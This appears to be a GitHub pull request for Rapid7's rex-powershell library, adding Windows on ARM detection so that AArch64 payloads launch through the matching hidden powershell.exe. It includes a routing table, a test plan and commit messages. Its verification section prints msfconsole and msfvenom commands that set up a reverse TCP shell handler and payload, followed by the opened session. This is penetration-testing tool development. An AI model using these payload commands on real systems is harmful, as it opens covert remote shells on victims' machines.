Skip to content

Route AArch64 payloads to the native powershell.exe on Windows on ARM - #49

Open
vinicius-batistella wants to merge 2 commits into
rapid7:masterfrom
vinicius-batistella:feature/aarch64-injection
Open

Route AArch64 payloads to the native powershell.exe on Windows on ARM#49
vinicius-batistella wants to merge 2 commits into
rapid7:masterfrom
vinicius-batistella:feature/aarch64-injection

Conversation

@vinicius-batistella

@vinicius-batistella vinicius-batistella commented Aug 19, 2026

Copy link
Copy Markdown

Summary

Rex::Powershell::Command.run_hidden_psh currently picks between the native and SysWOW64 copies of powershell.exe purely from [IntPtr]::Size. That check works fine on x86/x64 hosts, but it collapses two very different hosts into the same branch on Windows on ARM (WoA):

  • 64-bit PowerShell running natively on ARM64 ([IntPtr]::Size == 8) — currently receives the same treatment as an x64 host, which is correct for aarch64 payloads but leaves x86 payloads with no path to a compatible interpreter.
  • 32-bit PowerShell running under WOW64 on ARM64 ([IntPtr]::Size == 4) — currently receives the same treatment as an x86 host, meaning an aarch64 payload never reaches an ARM64-native PowerShell.

This PR uses PROCESSOR_ARCHITECTURE / PROCESSOR_ARCHITEW6432 (which are stable across Windows 10/11 on ARM) to detect a WoA host before falling back to the existing [IntPtr]::Size logic. payload_arch is extended to accept 'aarch64', and the routing is:

Host x86 payload x86_64 payload aarch64 payload
ARM64 PowerShell on WoA SysWOW64 (unchanged) native
x86 PowerShell on WoA native (unchanged) Sysnative
32-bit PowerShell on x64 native Sysnative (n/a)
64-bit PowerShell SysWOW64 native (n/a)

The reflection templates themselves need no changes: they lay the shellcode down with VirtualAlloc(RW) and then transition to RX via VirtualProtect, which is a documented I-cache-synchronising transition on ARM64 Windows. That was confirmed with a spike (see below) — a payload run without an explicit FlushInstructionCache still executed cleanly.

Verification

Spike: WoA environment + I-cache behaviour

A spike script was run inside 64-bit PowerShell on a Windows 11 ARM64 VM. The relevant findings:

  • [IntPtr]::Size = 8, $env:PROCESSOR_ARCHITECTURE = ARM64, PROCESSOR_ARCHITEW6432 unset — so the new environment-variable check reliably identifies a WoA host before the size check runs.
  • powershell.exe resolves to C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe (native ARM64), with C:\Windows\SysWOW64\... and C:\Windows\Sysnative\... populated as expected.
  • Executing a tiny AArch64 payload (mov x0, #0x1234 ; ret) from VirtualAlloc(RW)VirtualProtect(RX) returned 0x1234 without calling FlushInstructionCache, matching Microsoft's guarantee that VirtualProtect's RW→RX transition flushes the I-cache on ARM64.

End-to-end: session on ARM64 VM

With metasploit-framework pinned to this branch, an aarch64 payload was wrapped via the updated run_hidden_psh code path and executed on the WoA VM:

# msfconsole (attacker)
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/aarch64/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.0.164
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > run

# msfvenom (wrapper generation)
$ ./msfvenom -p windows/aarch64/shell_reverse_tcp lhost=192.168.0.164 lport=4444 -f psh-cmd

Pasting the resulting psh-cmd string into a Windows terminal on the ARM64 VM produced a live session:

[*] Started reverse TCP handler on 192.168.0.164:4444
[*] Command shell session 1 opened (192.168.0.164:4444 -> 192.168.0.x:xxxxx)

Microsoft Windows [Version 10.0.26100.xxxx]
(c) Microsoft Corporation. All rights reserved.

C:\Users\user>

The launching PowerShell window closes after the Start-Process -Hidden returns; that is the intended behaviour of the psh-cmd wrapper (the shellcode is running inside the hidden child powershell.exe, which owns the session).

Test plan

  • bundle exec rspec spec/rex/powershell/command_spec.rb — new run_hidden_psh examples covering aarch64 payload on WoA (native + WOW64) and x86 payload on WoA all pass; pre-existing examples untouched.
  • End-to-end: ARM64 Windows 11 VM, aarch64 payload via psh-cmd wrapper opens a windows/aarch64/shell_reverse_tcp session against msfconsole.
  • Regression sanity: existing x86/x64 host+payload combinations still route to the same interpreter as before (covered by the pre-existing spec examples).

Follow-up (separate PR)

Once this lands and a new gem is cut, I'll open a follow-up on metasploit-framework to bump the gem constraint and wire the AArch64 target into the psexec PowerShell path that @bwatters-r7 is preparing in rapid7#21779.

Made with Cursor

[IntPtr]::Size cannot tell an ARM64 process apart from an x64 one
(both have 8-byte pointers), so the existing wrapper picked the wrong
powershell.exe on Windows-on-ARM whenever the payload architecture
mattered. Metasploit's psexec module currently keeps AArch64 payloads
off the PowerShell delivery path for this reason.

Prepend two branches to the emitted architecture-detection block:

  - PROCESSOR_ARCHITECTURE == ARM64 for native ARM64 processes. An
    'aarch64' payload targets the current binary (System32 already
    resolves to the ARM64 powershell.exe on WoA); an 'x86' payload
    hops to SysWOW64 as before.
  - PROCESSOR_ARCHITEW6432 == ARM64 for a 32-bit process on a WoA
    host. An 'aarch64' payload escapes WOW64 filesystem redirection
    via sysnative to reach the native ARM64 powershell.exe.

The existing IntPtr::Size branches are preserved and continue to
handle every non-WoA case. The 'aarch64' string is documented on
both run_hidden_psh and cmd_psh_payload.

No template changes: the reflection and dotnet templates already
transition memory PAGE_READWRITE -> PAGE_EXECUTE_READ via
VirtualProtect, which implicitly invalidates the ARM64 icache for
the range, so injected AArch64 shellcode is coherent by the time
CreateThread executes it. Verified on Windows 11 26200 (ARM64,
Qualcomm) with a minimal 'mov x0,0; ret' probe.

Bumps the gem to 0.1.105 for consumers.

Co-authored-by: Cursor <cursoragent@cursor.com>

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Updates Rex::Powershell::Command.run_hidden_psh to correctly route payload execution to a compatible powershell.exe on Windows on ARM by detecting WoA via PROCESSOR_ARCHITECTURE / PROCESSOR_ARCHITEW6432 before falling back to [IntPtr]::Size, and extends payload_arch handling to include aarch64.

Changes:

  • Add WoA-aware interpreter selection logic and aarch64 routing in run_hidden_psh.
  • Add RSpec examples covering aarch64 and WoA-specific routing behavior.
  • Bump gem version.

Impact Analysis:

  • Blast radius: medium — affects all consumers that generate wrappers via run_hidden_psh / cmd_psh_payload (including downstream usage from Metasploit); Windows-only behavior.
  • Data and contract effects: no schema/payload/storage changes; expands accepted payload_arch values to include 'aarch64'.
  • Rollback and test focus: rollback is straightforward (revert selection logic); focus validation on spec/rex/powershell/command_spec.rb plus manual WoA execution paths (native ARM64 PS and WOW64 x86 PS).

Reviewed changes

Copilot reviewed 3 out of 3 changed files in this pull request and generated 1 comment.

File Description
spec/rex/powershell/command_spec.rb Adds coverage asserting WoA env-var branching and aarch64/x86 routing behavior.
lib/rex/powershell/command.rb Implements WoA-aware architecture detection and interpreter selection for aarch64.
lib/rex/powershell/version.rb Bumps the gem version for the release containing WoA routing changes.

💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.

Comment thread lib/rex/powershell/command.rb Outdated
intptr4_branch = payload_arch == 'x86' ? native_ps : sysnative_ps
intptr8_branch = payload_arch == 'x86' ? syswow64_ps : native_ps

archictecure_detection = <<EOS

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done in 0608202.

Rename the pre-existing archictecure_detection local so the
generated-code wrapper is easier to search. Behavior is unchanged.

Co-authored-by: Cursor <cursoragent@cursor.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants